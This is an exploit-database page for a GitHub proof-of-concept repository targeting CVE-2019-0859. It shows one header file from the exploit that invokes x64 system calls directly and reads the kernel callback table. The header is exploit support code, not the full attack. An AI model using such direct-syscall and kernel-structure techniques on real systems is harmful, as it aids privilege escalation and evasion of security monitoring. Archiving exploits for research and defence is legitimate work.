Exploit database

GH-5d4703c53c3d080a898cad82c73334b3

sheisback/cve-2019-0859-1day-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-0859

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files10
sheisback/cve-2019-0859-1day-exploitRevision 5b76c79a8a0c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exp/exp/syscall_x64.h

Text · 629 bytes
#pragma once
#include <cstdint>
extern "C" void _DoSyscall();
extern "C" void _GetKernelCallbackTb(PDWORD CallbackTb);

template< typename ReturnType = void, typename... Args,
	typename T1 = void*, typename T2 = void*, typename T3 = void*, typename T4 = void* >
	ReturnType Syscall(const uint64_t Index, T1 A1 = {}, T2 A2 = {}, T3 A3 = {}, T4 A4 = {}, Args... Arguments)
{
	static_assert(sizeof(void*) == 8, "Only x64 is supported.");

	return reinterpret_cast< ReturnType(*)(T1, T2, T3, T4, uint64_t, uint64_t, Args...) >(_DoSyscall)(
		A1, A2, A3, A4, Index, 0, Arguments... // Stack must be aligned to 16 byte boundary.
		);
}